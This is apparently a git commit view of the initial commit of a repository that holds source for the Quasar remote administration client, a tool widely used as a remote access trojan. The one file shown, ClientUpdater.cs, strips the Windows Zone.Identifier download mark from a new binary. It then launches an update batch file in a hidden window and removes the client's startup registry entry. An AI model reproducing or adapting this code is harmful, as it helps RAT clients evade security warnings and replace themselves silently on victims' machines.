initial commit

This commit is contained in:
i2p
2026-08-27 11:22:16 -06:00
commit 96afff7a83
600 changed files with 29291 additions and 0 deletions
+38
View File
@@ -0,0 +1,38 @@
using Quasar.Client.Config;
using Quasar.Client.IO;
using Quasar.Common.Helpers;
using System;
using System.Diagnostics;
using System.IO;
using System.Windows.Forms;
namespace Quasar.Client.Setup
{
public class ClientUpdater : ClientSetupBase
{
public void Update(string newFilePath)
{
FileHelper.DeleteZoneIdentifier(newFilePath);
var bytes = File.ReadAllBytes(newFilePath);
if (!FileHelper.HasExecutableIdentifier(bytes))
throw new Exception("No executable file.");
string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath);
ProcessStartInfo startInfo = new ProcessStartInfo
{
WindowStyle = ProcessWindowStyle.Hidden,
UseShellExecute = true,
FileName = batchFile
};
Process.Start(startInfo);
if (Settings.STARTUP)
{
var clientStartup = new ClientStartup();
clientStartup.RemoveFromStartup(Settings.STARTUPKEY);
}
}
}
}